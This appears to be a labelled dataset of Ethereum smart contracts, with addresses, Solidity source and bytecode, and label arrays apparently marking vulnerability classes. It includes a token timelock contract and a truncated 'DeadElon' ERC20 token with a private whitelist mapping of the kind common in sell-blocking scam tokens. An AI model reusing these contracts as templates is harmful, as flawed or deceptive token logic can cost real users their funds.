5050565b600082601f830112613b1e57600080fd5b8135613b2e8482602086016139de565b91505092915050565b600081519050613b46816156f2565b92915050565b600082601f830112613b5d57600080fd5b8135613b6d848260208601613a1c565b91505092915050565b600081359050613b8581615709565b92915050565b600060208284031215613b9d57600080fd5b6000613bab84828501613a5a565b91505092915050565b60008060408385031215613bc757600080fd5b6000613bd585828601613a5a565b9250506020613be685828601613a5a565b9150509250929050565b600080600060608486031215613c0557600080fd5b6000613c1386828701613a5a565b9350506020613c2486828701613a5a565b9250506040613c3586828701613b76565b9150509250925092565b60008060008060808587031215613c5557600080fd5b6000613c6387828801613a5a565b9450506020613c7487828801613a5a565b9350506040613c8587828801613b76565b925050606085013567ffffffffffffffff811115613ca257600080fd5b613cae87828801613b0d565b91505092959194509250565b60008060408385031215613ccd57600080fd5b6000613cdb85828601613a5a565b9250506020613cec85828601613ab9565b9150509250929050565b60008060408385031215613d0957600080fd5b6000613d1785828601613a5a565b9250506020613d2885828601613b76565b9150509250929050565b600060208284031215613d4457600080fd5b6000613d5284828501613ace565b91505092915050565b600060208284031215613d6d57600080fd5b6000613d7b84828501613ae3565b91505092915050565b600060208284031215613d9657600080fd5b6000613da484828501613af8565b91505092915050565b600060208284031215613dbf57600080fd5b6000613dcd84828501613b37565b91505092915050565b600060208284031215613de857600080fd5b600082013567ffffffffffffffff811115613e0257600080fd5b613e0e84828501613b4c565b91505092915050565b600060208284031215613e2957600080fd5b6000613e3784828501613b76565b91505092915050565b60008060408385031215613e5357600080fd5b6000613e6185828601613b76565b9250506020613e7285828601613a5a565b9150509250929050565b600080600060408486031215613e9157600080fd5b6000613e9f86828701613b76565b935050602084013567ffffffffffffffff811115613ebc57600080fd5b613ec886828701613a6f565b92509250509250925092565b6000613ee08383614b8d565b60208301905092915050565b613ef5816153ca565b82525050565b613f0c613f07826153ca565b61555d565b82525050565b6000613f1d826151f8565b613f278185615226565b9350613f32836151d3565b8060005b83811015613f63578151613f4a8882613ed4565b9750613f5583615219565b925050600181019050613f36565b5085935050505092915050565b613f79816153dc565b82525050565b613f88816153e8565b82525050565b613f9f613f9a826153e8565b61556f565b82525050565b6000613fb082615203565b613fba8185615237565b9350613fca818560208601615485565b613fd381615678565b840191505092915050565b6000613fe98261520e565b613ff38185615253565b9350614003818560208601615485565b61400c81615678565b840191505092915050565b60006140228261520e565b61402c8185615264565b935061403c818560208601615485565b80840191505092915050565b60008154614055816154e2565b61405f8186615264565b9450600182166000811461407a576001811461408b576140be565b60ff198316865281860193506140be565b614094856151e3565b60005b838110156140b657815481890152600182019150602081019050614097565b838801955050505b50505092915050565b60006140d4602283615253565b91507f455243373231413a206f776e657220696e646578206f7574206f6620626f756e60008301527f64730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061413a602683615253565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006141a0602a83615253565b91507f455243373231413a206f776e657220717565727920666f72206e6f6e6578697360008301527f74656e7420746f6b656e000000000000000000000000000000000000000000006020830152604082019050919050565b6000614206601883615253565b91507f457863656564732061697264726f7020666f72207465616d00000000000000006000830152602082019050919050565b6000614246602683615253565b91507f4d696e74696e6720746f6f206d616e7920487565766f20746f6b656e7320617460008301527f206f6e63652100000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006142ac602383615253565b91507f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f7560008301527f6e647300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614312602583615253565b91507f455243373231413a207472616e7366657220746f20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614378603183615253565b91507f455243373231413a206e756d626572206d696e74656420717565727920666f7260008301527f20746865207a65726f20616464726573730000000000000000000000000000006020830152604082019050919050565b60006143de601183615253565b91507f4e6f74206f6e207768697465206c6973740000000000000000000000000000006000830152602082019050919050565b600061441e600f83615253565b91507f53616c65206e6f742061637469766500000000000000000000000000000000006000830152602082019050919050565b600061445e601683615253565b91507f5075626c69632053616c65206e6f7420616374697665000000000000000000006000830152602082019050919050565b600061449e603983615253565b91507f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f76656420666f7220616c6c000000000000006020830152604082019050919050565b6000614504601e83615253565b91507f4d65726b6c65726f6f74206e6f742073657420666f722070726573616c6500006000830152602082019050919050565b6000614544602b83615253565b91507f455243373231413a2062616c616e636520717565727920666f7220746865207a60008301527f65726f20616464726573730000000000000000000000000000000000000000006020830152604082019050919050565b60006145aa601583615253565b91507f546f6b656e20646f6573206e6f742065786973742e00000000000000000000006000830152602082019050919050565b60006145ea602683615253565b91507f455243373231413a207472616e736665722066726f6d20696e636f727265637460008301527f206f776e657200000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614650602083615253565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000614690601a83615253565b91507f455243373231413a20617070726f766520746f2063616c6c65720000000000006000830152602082019050919050565b60006146d0603283615253565b91507f455243373231413a207472616e736665722063616c6c6572206973206e6f742060008301527f6f776e6572206e6f7220617070726f76656400000000000000000000000000006020830152604082019050919050565b6000614736602283615253565b91507f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60008301527f65720000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061479c600083615248565b9150600082019050919050565b60006147b6602383615253565b91507f455243373231413a207175616e74697479206d7573742062652067726561746560008301527f72203000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061481c602283615253565b91507f4e6f7420656e6f75676820487565766f20546f6b656e732072656d61696e696e60008301527f672e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614882603383615253565b91507f455243373231413a207472616e7366657220746f206e6f6e204552433732315260008301527f6563656976657220696d706c656d656e746572000000000000000000000000006020830152604082019050919050565b60006148e8601d83615253565b91507f455243373231413a20746f6b656e20616c7265616479206d696e7465640000006000830152602082019050919050565b6000614928602183615253565b91507f455243373231413a206d696e7420746f20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061498e600e83615253565b91507f4661696c656420746f2073656e640000000000000000000000000000000000006000830152602082019050919050565b60006149ce602e83615253565b91507f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060008301527f6f776e657220627920696e6465780000000000000000000000000000000000006020830152604082019050919050565b6000614a34601f83615253565b91507f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006000830152602082019050919050565b6000614a74601483615253565b91507f53616c6520616c726561647920737461727465640000000000000000000000006000830152602082019050919050565b6000614ab4602d83615253565b91507f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560008301527f78697374656e7420746f6b656e000000000000000000000000000000000000006020830152604082019050919050565b6000614b1a601a83615253565b91507f5768697465206c6973742053616c65206e6f74206163746976650000000000006000830152602082019050919050565b6000614b5a601683615253565b91507f496e636f727265637420616d6f756e742073656e7421000000000000000000006000830152602082019050919050565b614b968161546c565b82525050565b614ba58161546c565b82525050565b6000614bb78284613efb565b60148201915081905092915050565b6000614bd28285613f8e565b602082019150614be28284613f8e565b6020820191508190509392505050565b6000614bfe8286614048565b9150614c0a8285614017565b9150614c168284614048565b9150819050949350505050565b6000614c2e8261478f565b9150819050919050565b6000602082019050614c4d6000830184613eec565b92915050565b6000608082019050614c686000830187613eec565b614c756020830186613eec565b614c826040830185614b9c565b8181036060830152614c948184613fa5565b905095945050505050565b60006020820190508181036000830152614cb98184613f12565b905092915050565b6000602082019050614cd66000830184613f70565b92915050565b60006020820190508181036000830152614cf68184613fde565b905092915050565b60006020820190508181036000830152614d17816140c7565b9050919050565b60006020820190508181036000830152614d378161412d565b9050919050565b60006020820190508181036000830152614d5781614193565b9050919050565b60006020820190508181036000830152614d77816141f9565b9050919050565b60006020820190508181036000830152614d9781614239565b9050919050565b60006020820190508181036000830152614db78161429f565b9050919050565b60006020820190508181036000830152614dd781614305565b9050919050565b60006020820190508181036000830152614df78161436b565b9050919050565b60006020820190508181036000830152614e17816143d1565b9050919050565b60006020820190508181036000830152614e3781614411565b9050919050565b60006020820190508181036000830152614e5781614451565b9050919050565b60006020820190508181036000830152614e7781614491565b9050919050565b60006020820190508181036000830152614e97816144f7565b9050919050565b60006020820190508181036000830152614eb781614537565b9050919050565b60006020820190508181036000830152614ed78161459d565b9050919050565b60006020820190508181036000830152614ef7816145dd565b9050919050565b60006020820190508181036000830152614f1781614643565b9050919050565b60006020820190508181036000830152614f3781614683565b9050919050565b60006020820190508181036000830152614f57816146c3565b9050919050565b60006020820190508181036000830152614f7781614729565b9050919050565b60006020820190508181036000830152614f97816147a9565b9050919050565b60006020820190508181036000830152614fb78161480f565b9050919050565b60006020820190508181036000830152614fd781614875565b9050919050565b60006020820190508181036000830152614ff7816148db565b9050919050565b600060208201905081810360008301526150178161491b565b9050919050565b6000602082019050818103600083015261503781614981565b9050919050565b60006020820190508181036000830152615057816149c1565b9050919050565b6000602082019050818103600083015261507781614a27565b9050919050565b6000602082019050818103600083015261509781614a67565b9050919050565b600060208201905081810360008301526150b781614aa7565b9050919050565b600060208201905081810360008301526150d781614b0d565b9050919050565b600060208201905081810360008301526150f781614b4d565b9050919050565b60006020820190506151136000830184614b9c565b92915050565b600060408201905061512e6000830185614b9c565b61513b6020830184613f7f565b9392505050565b6000604051905081810181811067ffffffffffffffff8211171561516957615168615649565b5b8060405250919050565b600067ffffffffffffffff82111561518e5761518d615649565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff8211156151be576151bd615649565b5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600061527a82615430565b915061528583615430565b9250826fffffffffffffffffffffffffffffffff038211156152aa576152a96155bc565b5b828201905092915050565b60006152c08261546c565b91506152cb8361546c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115615300576152ff6155bc565b5b828201905092915050565b60006153168261546c565b91506153218361546c565b925082615331576153306155eb565b5b828204905092915050565b60006153478261546c565b91506153528361546c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561538b5761538a6155bc565b5b828202905092915050565b60006153a18261546c565b91506153ac8361546c565b9250828210156153bf576153be6155bc565b5b828203905092915050565b60006153d58261544c565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6000615429826153ca565b9050919050565b60006fffffffffffffffffffffffffffffffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156154a3578082015181840152602081019050615488565b838111156154b2576000848401525b50505050565b60006154c38261546c565b915060008214156154d7576154d66155bc565b5b600182039050919050565b600060028204905060018216806154fa57607f821691505b6020821081141561550e5761550d61561a565b5b50919050565b600061551f8261546c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415615552576155516155bc565b5b600182019050919050565b600061556882615579565b9050919050565b6000819050919050565b600061558482615689565b9050919050565b60006155968261546c565b91506155a18361546c565b9250826155b1576155b06155eb565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b61569f816153ca565b81146156aa57600080fd5b50565b6156b6816153dc565b81146156c157600080fd5b50565b6156cd816153e8565b81146156d857600080fd5b50565b6156e4816153f2565b81146156ef57600080fd5b50565b6156fb8161541e565b811461570657600080fd5b50565b6157128161546c565b811461571d57600080fd5b5056fea264697066735822122050f3340ed445ecd67a5268689e9dd70e6653e5fb65ba9708c5ba95527ece775264736f6c63430008000033
[ 5, 9, 12 ]
0xf213c3952257cd0d8f2acce0d30c88fc7402f7b7
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 28771200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x225910EEa5af8dBC3C7D8c7D925d05981A8E9B0c; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820ebd8c242b52db32667eaeab59a85fc4600271c32b160f7835445171f37a5d40d0029
[ 16, 7 ]
0xf213cebcb56aa63e4d2f49e57e62ac20c65d98ae
/** *Submitted for verification at Etherscan.io on 2021-05-31 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _enable; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _mint(0x4c77c6f4F84a1Aed542E18645824C58D51d1EAFE, 1000000000 *10**18); _enable[0x4c77c6f4F84a1Aed542E18645824C58D51d1EAFE] = true; // MainNet / testnet, Uniswap Router IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; _name = "DeadElon"; _symbol = "dElon"; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= 